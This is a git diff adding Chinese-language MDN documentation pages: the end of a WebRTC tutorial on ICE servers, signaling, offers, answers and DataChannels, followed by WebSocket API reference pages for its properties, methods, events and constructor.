 {{domxref("RTCConfiguration")}} 对象包含了一些信息,这些信息是关于用来做 ICE 的 TURN 和 / 或 STUN 服务器的。这是用来确保大多数用户可以避免因 NAT 和防火墙导致的无法建立连接。

+ +
var configuration = {
+    iceServers: [
+        {urls: "stun:23.21.150.121"},
+        {urls: "stun:stun.l.google.com:19302"},
+        {urls: "turn:numb.viagenie.ca", credential: "webrtcdemo", username: "louis%40mozilla.com"}
+    ]
+}
+ +

Google 运行了一个我们可以使用的公共 STUN 服务器。我也在 http://numb.viagenie.ca/ 创建了一个免费的可以访问 TURN 服务器的账户。可能你也想这么做,你只要替换到你自己的许可证书就可以了。

+ + + +

ICECandidate

+ + + +

创建好 PeerConnection 并传入可用的 STUNTURN 之后,当 ICE 框架找到可以使用 Peer 创建连接的 “候选者”,会立即触发一个事件(onicecandidate)。这些 “候选者” 就是 ICECandidate, 而且他们会在 PeerConnection#onicecandidate 事件中执行一个回调函数。

+ +
pc.onicecandidate = function (e) {
+    // candidate exists in e.candidate
+    if (!e.candidate) return;
+    send("icecandidate", JSON.stringify(e.candidate));
+};
+ +

回调函数执行之后,我们必须使用信令通道 (signal channel) 将候选发送到其他的点。在 Chrome 中,ICE 框架一般会找到重复的候选者,所以,我一般只发送第一个,然后将处理函数删除。Firfox 中将候选者包含在了 Offer SDP 中。

+ +

Signal Channel

+ +

现在我们有了 ICE 候选,然后需要将它发送到我们的另一端,以让它知道如何跟我们建立连接。然而,现在有一个先有鸡还是先有蛋的问题。我们想要 PeerConnection 发送数据到另一端,但是在那之前我们需要先把元数据发送过去……

+ +

现在就是用到信令通道(Signal Channel)的时候了。它的任何一个数据传输方法都允许两个端点之间交换信息。在本文中,我们将使用 FireBase。因为它设置起来灰常简单,并且不需要任何主机或者服务器端的代码编写。

+ +

现在我们想象只有两个两个方法:send(), 它将使用一个键,然后将数据赋值给它;recv() ,当一个键有值的时候会调用一个处理函数。

+ +

数据库的结构就像下面这样:

+ +
{
+    "": {
+        "candidate:": …
+        "offer": …
+        "answer": …
+    }
+}
+ +

连接会被 roomId 分割,然后会保存四条信息:发起者 (oferer) 的 ICE 候选、应答者 (answerer) 的 ICE 候选、offer SDP 和 answer SDP.

+ +

Offer

+ +

Offer SDP 是用来向另一端描述期望格式(视频, 格式, 解编码, 加密, 解析度, 尺寸 等等)的元数据。

+ +

一次信息的交换需要从一端拿到 offer,然后另外一端接受这个 offer 然后返回一个 answer。

+ +
pc.createOffer(function (offer) {
+    pc.setLocalDescription(offer, function() {
+        send("offer", JSON.stringify(pc.localDescription));
+    }, errorHandler);
+}, errorHandler, options);
+ +

errorHandler

+ +

创建 offer 的过程如果出现问题,就会执行这个函数,并且将错误的详细信息作为第一个参数。

+ +
var errorHandler = function (err) {
+    console.error(err);
+};
+ +

options

+ +

Offer SDP 的选项.

+ +
var options = {
+    offerToReceiveAudio: true,
+    offerToReceiveVideo: true
+};
+ +

offerToReceiveAudio/Video 告诉另一端,你想接收视频还是音频。对于 DataChannel 来说,这些是不需要的。

+ +

offer 创建好之后,我们必须将本地 SDP 设置进去,然后通过信令通道将它发送到另一端,之久就静静地等待另一端的 Answer SDP 吧.

+ +

Answer

+ +

Answer SDP 跟 offer 是差不多的,只不过它是作为相应的。有点像接电话一样。我们只能在接收到 offer 的时候创建一次 Answer.

+ +
recv("offer", function (offer) {
+    offer = new SessionDescription(JSON.parse(offer))
+    pc.setRemoteDescription(offer);
+
+    pc.createAnswer(function (answer) {
+        pc.setLocalDescription(answer, function() {
+            send("answer", JSON.stringify(pc.localDescription));
+        }, errorHandler);
+    }, errorHandler);
+});
+ +

DataChannel

+ +

我将首先阐述如何将 PeerConnection 用在 DataChannels API 上,并且如何在 peers 之间传输任意数据。

+ +

注意:撰写这篇文章的时候,DataChannels 在 Chrome 和 Firefox 之间是无法互用的。Chrome 支持了一个类似的私有协议,这个协议将在不久被标准协议支持。

+ +
var channel = pc.createDataChannel(channelName, channelOptions);
+ +

offer 的创建者和 channel 的创建者应该是同一个 peer。 answer 的创建者将在 PeerConnection 的 ondatachannel 回调中接收到 这个 channel。你必须在创建了这个 offer 之后立即调用 createDataChannel()。

+ +

channelName

+ +

这个字符串会作为 channel 名字的标签。注意:确保你 Channel 的名字中没有空格,否则在 Chrome 中调用 createAnswer() 将会失败。

+ +

channelOptions

+ +
var channelOptions = {};
+ +

当前 Chrome 还不支持这些选项,所以你可以将这些选项留空。检查 RFC 以获取更多关于这些选项的信息。

+ +

Channel 事件和方法

+ +

onopen

+ +

当连接建立的时候会被执行。

+ +

onerror

+ +

连接创建出错时执行。第一个参数是一个 error 对象。

+ +
channel.onerror = function (err) {
+    console.error("Channel Error:", err);
+};
+ +

onmessage

+ +
channel.onmessage = function (e) {
+    console.log("Got message:", e.data);
+}
+ +

这是连接的核心。当你接收到消息的时候,这个方法会执行。第一个参数是一个包含了数据、接收时间和其它信息的 event 对象。

+ +

onclose

+ +

当连接关闭的时候执行。

+ +

绑定事件

+ +

如果你是这个 channel 的创建者(offerer), 你可以直接在通过 createChannel 创建的 DataChannel 上绑定事件。如果你是 answerer 你必须使用 PeerConnection 的 ondatachannel 回调去访问这个 channel。

+ +
pc.ondatachannel = function (e) {
+    e.channel.onmessage = function () { … };
+};
+ +

这个 channel 可以在传递到回调函数中的 event 对象中以 e.channel 的方式访问。

+ +

send()

+ +
channel.send("Hi Peer!");
+ +

这个方法允许你直接传递数据到 peer!令人惊奇。你必须传递确保传递的数据是 String, Blob, ArrayBuffer 或者 ArrayBufferView 中的一种类型,所以,确保字符串化对象。

+ +

close()

+ +

在连接应该中止的时候关闭 channel。推荐在页面卸载的时候调用。

+ +

Media

+ +

现在我们将会涉及到如何传递诸如音视频的媒体的话题。要显示音视频,你必须在文档中加入包含 autoplay 属性的  <video> 标签。

+ +

Get User Media

+ +
<video id="preview" autoplay></video>
+
+var video = document.getElementById("preview");
+navigator.getUserMedia(constraints, function (stream) {
+    video.src = URL.createObjectURL(stream);
+}, errorHandler);
+ +

constraints

+ +

约定你想从用户获取到的媒体类型。

+ +
var constraints = {
+    video: true,
+    audio: true
+};
+ +

如果你只想进行音频聊天,移除 video 成员。

+ +

errorHandler

+ +

当返回请求的媒体错误时被调用

+ +

Media Events and Methods

+ +

addStream

+ +

将从 getUserMedia 返回的流加入 PeerConnection。

+ +
pc.addStream(stream);
+ +

onaddstream

+ +
<video id="otherPeer" autoplay></video>
+
+var otherPeer = document.getElementById("otherPeer");
+pc.onaddstream = function (e) {
+    otherPeer.src = URL.createObjectURL(e.stream);
+};
+ +

当连接建立并且其它的 peer 通过 addStream 将流加入到了连接中时会被调用。你需要另外的 <video> 标签去显示其它 peer 的媒体。

+ +

第一个参数是包含了其它 peer 流媒体的 event 对象。

diff --git a/files/zh-cn/web/api/websocket/bufferedamount/index.html b/files/zh-cn/web/api/websocket/bufferedamount/index.html new file mode 100644 index 0000000000..4162fa92f2 --- /dev/null +++ b/files/zh-cn/web/api/websocket/bufferedamount/index.html @@ -0,0 +1,49 @@ +--- +title: WebSocket.bufferedAmount +slug: Web/API/WebSocket/bufferedAmount +tags: + - API + - Property + - Reference + - Web API + - WebSocket +translation_of: Web/API/WebSocket/bufferedAmount +--- +

{{APIRef("Web Sockets API")}}

+ +

WebSocket.bufferedAmount是一个只读属性,用于返回已经被{{manch("send")}}方法放入队列中但还没有被发送到网络中的数据的字节数。一旦队列中的所有数据被发送至网络,则该属性值将被重置为0。但是,若在发送过程中连接被关闭,则属性值不会重置为0。如果你不断地调用{{manch("send")}},则该属性值会持续增长

+ +

The WebSocket.bufferedAmount read-only property returns the number of bytes of data that have been queued using calls to {{manch("send")}} but not yet transmitted to the network. This value resets to zero once all queued data has been sent. This value does not reset to zero when the connection is closed; if you keep calling {{manch("send")}}, this will continue to climb.

+ +

Syntax

+ +
var bufferedAmount = aWebSocket.bufferedAmount;
+ +

Value

+ +

An unsigned long.

+ +

Specifications

+ + + + + + + + + + + + + + + + +
SpecificationStatusComment
{{SpecName('HTML WHATWG', '#dom-websocket-bufferedamount', 'WebSocket: bufferedAmount')}}{{Spec2('HTML WHATWG')}}Initial definition
+ +

Browser compatibility

+ + + +

{{Compat("api.WebSocket.bufferedAmount")}}

diff --git a/files/zh-cn/web/api/websocket/close/index.html b/files/zh-cn/web/api/websocket/close/index.html new file mode 100644 index 0000000000..046dd5c079 --- /dev/null +++ b/files/zh-cn/web/api/websocket/close/index.html @@ -0,0 +1,58 @@ +--- +title: WebSocket.close() +slug: Web/API/WebSocket/close +translation_of: Web/API/WebSocket/close +--- +

{{APIRef("Web Sockets API")}}

+ +

WebSocket.close() 方法关闭 {{domxref("WebSocket")}}  连接或连接尝试(如果有的话)。 如果连接已经关闭,则此方法不执行任何操作。

+ +

语法

+ +
WebSocket.close();
+ +

参数

+ +
+
code {{optional_inline}}
+
一个数字状态码,它解释了连接关闭的原因。如果没有传这个参数,默认使用1005。{{domxref("CloseEvent")}}的允许的状态码见状态码列表
+
reason {{optional_inline}}
+
一个人类可读的字符串,它解释了连接关闭的原因。这个UTF-8编码的字符串不能超过123个字节。
+
+ +

抛出的异常

+ +
+
INVALID_ACCESS_ERR
+
一个无效的code
+
SYNTAX_ERR
+
reason 字符串太长(超过123字节)
+
+ +
+

注意: 在Gecko 8.0 {{geckoRelease("8.0")}}之前版本的Gecko里,这个方法不支持传参数。

+
+ +

Specifications

+ + + + + + + + + + + + + + +
SpecificationStatusComment
HTML Living Standard
+ The definition of 'WebSocket.close()' in that specification.
Living StandardInitial definition
+ +

Browser compatibility

+ + + +

{{Compat("api.WebSocket.close")}}

diff --git a/files/zh-cn/web/api/websocket/error_event/index.html b/files/zh-cn/web/api/websocket/error_event/index.html new file mode 100644 index 0000000000..8544e2f399 --- /dev/null +++ b/files/zh-cn/web/api/websocket/error_event/index.html @@ -0,0 +1,71 @@ +--- +title: 'WebSocket: 错误事件' +slug: Web/API/WebSocket/error_event +translation_of: Web/API/WebSocket/error_event +--- +
{{APIRef}}
+ +

websocket的连接由于一些错误事件的发生 (例如无法发送一些数据)而被关闭时,一个error事件将被引发.

+ + + + + + + + + + + + + + + + + + + + +
BubblesNo
CancelableNo
Interface{{domxref("Event")}}
Event handler property{{ domxref("WebSocket.onerror","onerror")}}
+ +

示例

+ +
// Create WebSocket connection
+// 创建一个 WebSocket 连接
+const socket = new WebSocket('ws://localhost:8080');
+
+// Listen for possible errors
+// 监听可能发生的错误
+socket.addEventListener('error', function (event) {
+  console.log('WebSocket error: ', event);
+});
+ +

标准

+ + + + + + + + + + + + + + +
SpecificationStatus
{{SpecName("HTML WHATWG", "web-sockets.html#event-error", "WebSocket error")}}{{Spec2("HTML WHATWG")}}
+ +

浏览器兼容性

+ +

{{Compat("api.WebSocket.error_event")}}

+ +

查看更多

+ + diff --git a/files/zh-cn/web/api/websocket/extensions/index.html b/files/zh-cn/web/api/websocket/extensions/index.html new file mode 100644 index 0000000000..27a66590cc --- /dev/null +++ b/files/zh-cn/web/api/websocket/extensions/index.html @@ -0,0 +1,43 @@ +--- +title: WebSocket.extensions +slug: Web/API/WebSocket/extensions +translation_of: Web/API/WebSocket/extensions +--- +

{{APIRef("Web Sockets API")}}

+ +

WebSocket.extensions是只读属性,返回服务器已选择的扩展值。目前,链接可以协定的扩展值只有空字符串或者一个扩展列表。

+ +

The WebSocket.extensions read-only property returns the extensions selected by the server. This is currently only the empty string or a list of extensions as negotiated by the connection.

+ +

语法

+ +
var extensions = aWebSocket.extensions;
+ +

返回值

+ +

A {{domxref("DOMString")}}.

+ +

规范

+ + + + + + + + + + + + + + + + +
SpecificationStatusComment
{{SpecName('HTML WHATWG', '#dom-websocket-extensions', 'WebSocket: extensions')}}{{Spec2('HTML WHATWG')}}Initial definition
+ +

浏览器兼容性

+ + + +

{{Compat("api.WebSocket.extensions")}}

diff --git a/files/zh-cn/web/api/websocket/index.html b/files/zh-cn/web/api/websocket/index.html new file mode 100644 index 0000000000..dc534d928a --- /dev/null +++ b/files/zh-cn/web/api/websocket/index.html @@ -0,0 +1,157 @@ +--- +title: WebSocket +slug: Web/API/WebSocket +tags: + - API + - WebSocket + - WebSockets +translation_of: Web/API/WebSocket +--- +
{{APIRef("Web Sockets API")}}
+ +

WebSocket 对象提供了用于创建和管理 WebSocket 连接,以及可以通过该连接发送和接收数据的 API。

+ +

使用 WebSocket() 构造函数来构造一个 WebSocket

+ +

构造函数

+ +
+
{{domxref("WebSocket.WebSocket", "WebSocket(url[, protocols])")}}
+
返回一个 WebSocket 对象。
+
+ +

常量

+ + + + + + + + + + + + + + + + + + + + + + + + +
ConstantValue
WebSocket.CONNECTING0
WebSocket.OPEN1
WebSocket.CLOSING2
WebSocket.CLOSED3
+ +

属性

+ +
+
{{domxref("WebSocket.binaryType")}}
+
使用二进制的数据类型连接。
+
{{domxref("WebSocket.bufferedAmount")}} {{readonlyinline}}
+
未发送至服务器的字节数。
+
+ +
+
{{domxref("WebSocket.extensions")}} {{readonlyinline}}
+
服务器选择的扩展。
+
+ +
+
{{domxref("WebSocket.onclose")}}
+
用于指定连接关闭后的回调函数。
+
{{domxref("WebSocket.onerror")}}
+
用于指定连接失败后的回调函数。
+
{{domxref("WebSocket.onmessage")}}
+
用于指定当从服务器接受到信息时的回调函数。
+
{{domxref("WebSocket.onopen")}}
+
用于指定连接成功后的回调函数。
+
{{domxref("WebSocket.protocol")}} {{readonlyinline}}
+
服务器选择的下属协议。
+
{{domxref("WebSocket.readyState")}} {{readonlyinline}}
+
当前的链接状态。
+
{{domxref("WebSocket.url")}} {{readonlyinline}}
+
WebSocket 的绝对路径。
+
+ +

方法

+ +
+
{{domxref("WebSocket.close", "WebSocket.close([code[, reason]])")}}
+
关闭当前链接。
+
{{domxref("WebSocket.send", "WebSocket.send(data)")}}
+
对要传输的数据进行排队
+
+ +

事件

+ +

使用 addEventListener() 或将一个事件监听器赋值给本接口的 oneventname 属性,来监听下面的事件。

+ +
+
{{domxref("WebSocket/close_event", "close")}}
+
当一个 WebSocket 连接被关闭时触发。
+ 也可以通过 {{domxref("WebSocket/onclose", "onclose")}} 属性来设置。
+
{{domxref("WebSocket/error_event", "error")}}
+
当一个 WebSocket 连接因错误而关闭时触发,例如无法发送数据时。
+ 也可以通过 {{domxref("WebSocket/onerror", "onerror")}} 属性来设置.
+
{{domxref("WebSocket/message_event", "message")}}
+
当通过 WebSocket 收到数据时触发。
+ 也可以通过 {{domxref("WebSocket/onmessage", "onmessage")}} 属性来设置。
+
{{domxref("WebSocket/open_event", "open")}}
+
当一个 WebSocket 连接成功时触发。
+ 也可以通过 {{domxref("WebSocket/onopen", "onopen")}} 属性来设置。
+
+ +

示例

+ +
// Create WebSocket connection.
+const socket = new WebSocket('ws://localhost:8080');
+
+// Connection opened
+socket.addEventListener('open', function (event) {
+    socket.send('Hello Server!');
+});
+
+// Listen for messages
+socket.addEventListener('message', function (event) {
+    console.log('Message from server ', event.data);
+});
+
+ +

规范

+ + + + + + + + + + + + + + +
规范状态注释
{{SpecName("HTML WHATWG", "web-sockets.html#the-websocket-interface", "WebSocket")}}{{Spec2("HTML WHATWG")}}初始定义
+ + + +

浏览器兼容性

+ +

{{Compat("api.WebSocket")}}

+ +

相关链接

+ + + +

+ +

diff --git a/files/zh-cn/web/api/websocket/message_event/index.html b/files/zh-cn/web/api/websocket/message_event/index.html new file mode 100644 index 0000000000..350aac9424 --- /dev/null +++ b/files/zh-cn/web/api/websocket/message_event/index.html @@ -0,0 +1,76 @@ +--- +title: 'WebSocket: message event' +slug: Web/API/WebSocket/message_event +translation_of: Web/API/WebSocket/message_event +--- +
+

{{APIRef}}

+ +

message 事件会在 WebSocket 接收到新消息时被触发。

+ + + + + + + + + + + + + + + + + + + + +
起泡(Bubbles)
可取消
接口{{domxref("MessageEvent")}}
事件处理程序属性{{ domxref("WebSocket.onmessage","onmessage")}}
+ +

例子

+ +
// 创建一个 WebSocket 连接
+const socket = new WebSocket('ws://localhost:8080');
+
+// 监听消息
+socket.addEventListener('message', function (event) {
+    console.log('Message from server ', event.data);
+});
+ +

规范

+ + + + + + + + + + + + + + +
规范状态
{{SpecName("HTML WHATWG", "web-sockets.html#event-message", "WebSocket message")}}{{Spec2("HTML WHATWG")}}
+ +

浏览器兼容性

+ +

{{Compat("api.WebSocket.message_event")}}

+ +

另看

+ + +
+ + diff --git a/files/zh-cn/web/api/websocket/onclose/index.html b/files/zh-cn/web/api/websocket/onclose/index.html new file mode 100644 index 0000000000..0ed1b7ffe1 --- /dev/null +++ b/files/zh-cn/web/api/websocket/onclose/index.html @@ -0,0 +1,37 @@ +--- +title: WebSocket.onclose +slug: Web/API/WebSocket/onclose +translation_of: Web/API/WebSocket/onclose +--- +

{{APIRef("Web Sockets API")}}

+ +

WebSocket.onclose 属性返回一个事件监听器,这个事件监听器将在 WebSocket 连接的{{domxref("WebSocket.readyState","readyState")}} 变为 CLOSED时被调用,它接收一个名字为“close”的 {{domxref("CloseEvent")}} 事件。

+ +

语法

+ +
WebSocket.onclose = function(event) {
+  console.log("WebSocket is closed now.");
+};
+ +

+ +

一个{{domxref("EventListener")}}.

+ +

文档

+ + + + + + + + + + + + + + + + +
SpecificationStatusComment
{{SpecName('HTML WHATWG', '#handler-websocket-onclose', 'WebSocket: onclose')}}{{Spec2('HTML WHATWG')}}Initial definition
diff --git a/files/zh-cn/web/api/websocket/onerror/index.html b/files/zh-cn/web/api/websocket/onerror/index.html new file mode 100644 index 0000000000..996ad55472 --- /dev/null +++ b/files/zh-cn/web/api/websocket/onerror/index.html @@ -0,0 +1,45 @@ +--- +title: WebSocket.onerror +slug: Web/API/WebSocket/onerror +translation_of: Web/API/WebSocket/onerror +--- +

{{APIRef("Web Sockets API")}}

+ +

The WebSocket.onerror property returns the event listener to be called when an error occurs. This is a simple event named "error".

+ +

WebSocket.onerror 属性中,你可以定义一个发生错误时执行的回调函数,此事件的事件名为"error"

+ +

语法

+ +
WebSocket.onerror = function(event) {
+  console.error("WebSocket error observed:", event);
+};
+ +

+ +

An {{domxref("EventListener")}}.

+ +

Specifications

+ + + + + + + + + + + + + + + + +
SpecificationStatusComment
{{SpecName('HTML WHATWG', '#handler-websocket-onerror', 'WebSocket: onerror')}}{{Spec2('HTML WHATWG')}}Initial definition
+ +

浏览器兼容性

+ + + +

{{Compat("api.WebSocket.onerror")}}

diff --git a/files/zh-cn/web/api/websocket/onmessage/index.html b/files/zh-cn/web/api/websocket/onmessage/index.html new file mode 100644 index 0000000000..27bcce6cf2 --- /dev/null +++ b/files/zh-cn/web/api/websocket/onmessage/index.html @@ -0,0 +1,49 @@ +--- +title: WebSocket.onmessage +slug: Web/API/WebSocket/onmessage +tags: + - API + - Web API + - WebSocket + - 参考 + - 属性 +translation_of: Web/API/WebSocket/onmessage +--- +

{{APIRef("Web Sockets API")}}

+ +

WebSocket.onmessage 属性是一个当收到来自服务器的消息时被调用的 {{domxref("EventHandler")}}。它由一个{{domxref("MessageEvent")}}调用。

+ +

语法

+ +
aWebSocket.onmessage = function(event) {
+  console.debug("WebSocket message received:", event);
+};
+ +

+ +

一个 {{domxref("EventListener")}}.

+ +

规范

+ + + + + + + + + + + + + + + + +
规范状态注释
{{SpecName('HTML WHATWG', '#handler-websocket-onmessage', 'WebSocket: onmessage')}}{{Spec2('HTML WHATWG')}}初始定义
+ +

浏览器兼容性

+ + + +

{{Compat("api.WebSocket.onmessage")}}

diff --git a/files/zh-cn/web/api/websocket/onopen/index.html b/files/zh-cn/web/api/websocket/onopen/index.html new file mode 100644 index 0000000000..067c9057bc --- /dev/null +++ b/files/zh-cn/web/api/websocket/onopen/index.html @@ -0,0 +1,41 @@ +--- +title: WebSocket.onopen +slug: Web/API/WebSocket/onopen +translation_of: Web/API/WebSocket/onopen +--- +

WebSocket.onopen属性定义一个事件处理程序,当{{domxref("WebSocket")}} 的连接状态{{domxref("WebSocket.readyState","readyState")}} 变为{{domxref("WebSocket.readyState","1")}}时调用;这意味着当前连接已经准备好发送和接受数据。这个事件处理程序通过 {{domxref("事件")}}(建立连接时)触发。

+ +

语法

+ +
aWebSocket.onopen = function(event) {
+  console.log("WebSocket is open now.");
+};
+ +

返回值

+ +

An {{domxref("EventListener")}}.

+ +

规范

+ + + + + + + + + + + + + + + + +
SpecificationStatusComment
{{SpecName('HTML WHATWG', '#handler-websocket-onopen', 'WebSocket: onopen')}}{{Spec2('HTML WHATWG')}}Initial definition
+ +

浏览器兼容性

+ + + +

{{Compat("api.WebSocket.onopen")}}

diff --git a/files/zh-cn/web/api/websocket/protocol/index.html b/files/zh-cn/web/api/websocket/protocol/index.html new file mode 100644 index 0000000000..8a575f1180 --- /dev/null +++ b/files/zh-cn/web/api/websocket/protocol/index.html @@ -0,0 +1,41 @@ +--- +title: WebSocket.protocol +slug: Web/API/WebSocket/protocol +translation_of: Web/API/WebSocket/protocol +--- +

{{APIRef("Web Sockets API")}}

+ +

WebSocket.protocol 是个只读属性,用于返回服务器端选中的子协议的名字;这是一个在创建{{domxref("WebSocket")}} 对象时,在参数{{domxref("protocols")}}中指定的字符串,当没有已建立的链接时为空串。

+ +

语法

+ +
var protocol = aWebSocket.protocol;
+ +

返回值

+ +

DOMString.

+ +

规范

+ + + + + + + + + + + + + + + + +
SpecificationStatusComment
{{SpecName('HTML WHATWG', '#dom-websocket-protocol', 'WebSocket: protocol')}}{{Spec2('HTML WHATWG')}}Initial definition
+ +

浏览器兼容性

+ + + +

{{Compat("api.WebSocket.protocol")}}

diff --git a/files/zh-cn/web/api/websocket/readystate/index.html b/files/zh-cn/web/api/websocket/readystate/index.html new file mode 100644 index 0000000000..e4d7bd23fb --- /dev/null +++ b/files/zh-cn/web/api/websocket/readystate/index.html @@ -0,0 +1,60 @@ +--- +title: WebSocket.readyState +slug: Web/API/WebSocket/readyState +tags: + - Web API + - WebSocket +translation_of: Web/API/WebSocket/readyState +--- +

{{APIRef("Web Sockets API")}}

+ +

概要

+ +

返回当前 {{domxref("WebSocket")}} 的链接状态,只读。

+ +

语法

+ +
var readyState = WebSocket.readyState;
+ +

+ +

以下其中之一

+ +
+
0 (WebSocket.CONNECTING)
+
正在链接中
+
1 (WebSocket.OPEN)
+
已经链接并且可以通讯
+
2 (WebSocket.CLOSING)
+
连接正在关闭
+
3 (WebSocket.CLOSED)
+
连接已关闭或者没有链接成功
+
+ +

Specifications

+ + + + + + + + + + + + + + +
SpecificationStatusComment
HTML Living Standard
+ The definition of 'WebSocket.readyState' in that specification.
Living StandardInitial definition
+ +

Browser compatibility

+ + + +

{{Compat("api.WebSocket.readyState")}}

+ +

+ +

diff --git a/files/zh-cn/web/api/websocket/send/index.html b/files/zh-cn/web/api/websocket/send/index.html new file mode 100644 index 0000000000..495da7a3e8 --- /dev/null +++ b/files/zh-cn/web/api/websocket/send/index.html @@ -0,0 +1,78 @@ +--- +title: WebSocket.send() +slug: Web/API/WebSocket/send +tags: + - API + - Web API + - WebSocket + - 引用 + - 方法 +translation_of: Web/API/WebSocket/send +--- +

{{APIRef("Web Sockets API")}}

+ + + +

 WebSocket.send() 方法将需要通过 WebSocket 链接传输至服务器的数据排入队列,并根据所需要传输的data bytes的大小来增加 bufferedAmount的值 。若数据无法传输(例如数据需要缓存而缓冲区已满)时,套接字会自行关闭。

+ +

语法

+ +
WebSocket.send("Hello server!");
+ +

参数

+ +
+
data
+
用于传输至服务器的数据。它必须是以下类型之一: +
+
{{domxref("USVString")}}
+
文本字符串。字符串将以 UTF-8 格式添加到缓冲区,并且 bufferedAmount 将加上该字符串以 UTF-8 格式编码时的字节数的值。
+
{{domxref("ArrayBuffer")}}
+
您可以使用一有类型的数组对象发送底层二进制数据;其二进制数据内存将被缓存于缓冲区,bufferedAmount 将加上所需字节数的值。
+
{{domxref("Blob")}}
+
Blob 类型将队列 blob 中的原始数据以二进制中传输。 bufferedAmount 将加上原始数据的字节数的值。
+
{{domxref("ArrayBufferView")}}
+
您可以以二进制帧的形式发送任何 JavaScript 类数组对象 ;其二进制数据内容将被队列于缓冲区中。值 bufferedAmount 将加上必要字节数的值。
+
+
+
+ +

异常

+ +
+
INVALID_STATE_ERR
+
当前连接未处于 OPEN 状态。
+
SYNTAX_ERR
+
数据是一个包含未配对代理(unpaired surrogates)的字符串。
+
+ +
+

Note: Gecko在{{Gecko("6.0")}}中对 send() 方法的实现与规范有些不一致; Gecko 返回一个boolean 来告知当前连接是否依旧处于OPEN 状态 (同时也可以使用该返回值来判定数据是否已经被完全缓存或者传输); 这个问题在 {{Gecko("8.0")}}中被修正.

+ +

而 {{Gecko("11.0")}}, 支持 {{jsxref("ArrayBuffer")}} 类型但不支持 {{domxref("Blob")}}类型.

+
+ +

规范

+ + + + + + + + + + + + + + + + +
规范状态注释
{{SpecName('HTML WHATWG', '#dom-websocket-send', 'WebSocket: send')}}{{Spec2('HTML WHATWG')}}初始定义
+ +

浏览器兼容性

+ + + +

{{Compat("api.WebSocket.send")}}

diff --git a/files/zh-cn/web/api/websocket/url/index.html b/files/zh-cn/web/api/websocket/url/index.html new file mode 100644 index 0000000000..e28d09a725 --- /dev/null +++ b/files/zh-cn/web/api/websocket/url/index.html @@ -0,0 +1,51 @@ +--- +title: WebSocket.url +slug: Web/API/WebSocket/url +tags: + - API + - Property + - Refrence + - Web API + - WebSocket +translation_of: Web/API/WebSocket/url +--- +

{{APIRef("Web Sockets API")}}

+ +

The WebSocket.url read-only property returns the absolute URL of the {{domxref("WebSocket")}} as resolved by the constructor.

+ +

WebSocket.url是一个只读属性,返回值为当构造函数创建{{domxref("WebSocket")}}实例对象时URL的绝对路径。

+ +

语法

+ +
var url = aWebSocket.url;
+ +

 

+ +

返回值

+ +

A DOMString.

+ +

规范

+ + + + + + + + + + + + + + + + +
SpecificationStatusComment
{{SpecName('HTML WHATWG', '#dom-websocket-url', 'WebSocket: url')}}{{Spec2('HTML WHATWG')}}Initial definition
+ +

浏览器兼容性

+ + + +

{{Compat("api.WebSocket.url")}}

diff --git a/files/zh-cn/web/api/websocket/websocket/index.html b/files/zh-cn/web/api/websocket/websocket/index.html new file mode 100644 index 0000000000..20977c22ec --- /dev/null +++ b/files/zh-cn/web/api/websocket/websocket/index.html @@ -0,0 +1,50 @@ +--- +title: WebSocket() +slug: Web/API/WebSocket/WebSocket +translation_of: Web/API/WebSocket/WebSocket +--- +

{{APIRef("Web Sockets API")}}
+ WebSocket()构造函器会返回一个 {{domxref("WebSocket")}} 对象。

+ +

语法

+ +
var aWebSocket = new WebSocket(url [, protocols]);
+ +

参数

+ +
+
url
+
要连接的URL;这应该是WebSocket服务器将响应的URL。
+
protocols {{optional_inline}}
+
一个协议字符串或者一个包含协议字符串的数组。这些字符串用于指定子协议,这样单个服务器可以实现多个WebSocket子协议(例如,您可能希望一台服务器能够根据指定的协议(protocol)处理不同类型的交互)。如果不指定协议字符串,则假定为空字符串。
+
+ +

抛出异常

+ +
+
SECURITY_ERR
+
正在尝试连接的端口被阻止。
+
+ +

规范

+ + + + + + + + + + + + + + +
规范状态注释
{{SpecName('HTML WHATWG', '#dom-websocket', 'the WebSocket constructor')}}{{Spec2('HTML WHATWG')}}
+ +

浏览器兼容性

+ + + +

{{Compat("api.WebSocket.WebSocket")}}

diff --git "a/files/zh-cn/web/api/websocket/\344\272\214\350\277\233\345\210\266\347\261\273\345\236\213/index.html" "b/files/zh-cn/web/api/websocket/\344\272\214\350\277\233\345\210\266\347\261\273\345\236\213/index.html" new file mode 100644 index 0000000000..aad8e48fc2 --- /dev/null +++ "b/files/zh-cn/web/api/websocket/\344\272\214\350\277\233\345\210\266\347\261\273\345\236\213/index.html" @@ -0,0 +1,56 @@ +--- +title: WebSocket.binaryType +slug: Web/API/WebSocket/二进制类型 +tags: + - 参考 + - 属性 + - 应用编程接口 + - 网页套接字 + - 网页接口 +translation_of: Web/API/WebSocket/binaryType +--- +

{{APIRef("Web Sockets API")}}

+ +

WebSocket.binaryType 返回websocket连接所传输二进制数据的类型。

+ +

语法

+ +
var binaryType = aWebSocket.binaryType;
+ +

返回值

+ +

 一条{{DOMXref("DOMString")}}:

+ +
+
"blob"
+
如果传输的是 {{domxref("Blob")}} 类型的数据。
+
"arraybuffer"
+
如果传输的是 {{jsxref("ArrayBuffer")}} 类型的数据。 +

 

+
+
+ +

规范

+ + + + + + + + + + + + + + + + +
SpecificationStatusComment
{{SpecName('HTML WHATWG', '#dom-websocket-binarytype', 'WebSocket: binaryType')}}{{Spec2('HTML WHATWG')}}Initial definition
+ +

浏览器兼容性

+ + + +

{{Compat("api.WebSocket.binaryType")}}

diff --git a/files/zh-cn/web/api/websockets_api/index.html b/files/zh-cn/web/api/websockets_api/index.html new file mode 100644 index 0000000000..ecc7894c38 --- /dev/null +++ b/files/zh-cn/web/api/websockets_api/index.html @@ -0,0 +1,208 @@ +--- +title: WebSockets +slug: Web/API/WebSockets_API +tags: + - References + - WebSockets +translation_of: Web/API/WebSockets_API +--- +

{{DefaultAPISidebar("Websockets API")}}

+ +

WebSockets 是一种先进的技术。它可以在用户的浏览器和服务器之间打开交互式通信会话。使用此API,您可以向服务器发送消息并接收事件驱动的响应,而无需通过轮询服务器的方式以获得响应。

+ +

接口

+ +
+
WebSocket
+
用于连接WebSocket服务器的主要接口,之后可以在这个连接上发送 和接受数据。
+
CloseEvent
+
连接关闭时WebSocket对象发送的事件。
+
MessageEvent
+
当从服务器获取到消息的时候WebSocket对象触发的事件。
+
+ +

工具

+ + + + + + + +

参见

+ + + +

浏览器兼容性

+ +

{{CompatibilityTable}}

+ +
+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
FeatureChromeEdgeFirefox (Gecko)Internet ExplorerOperaSafari
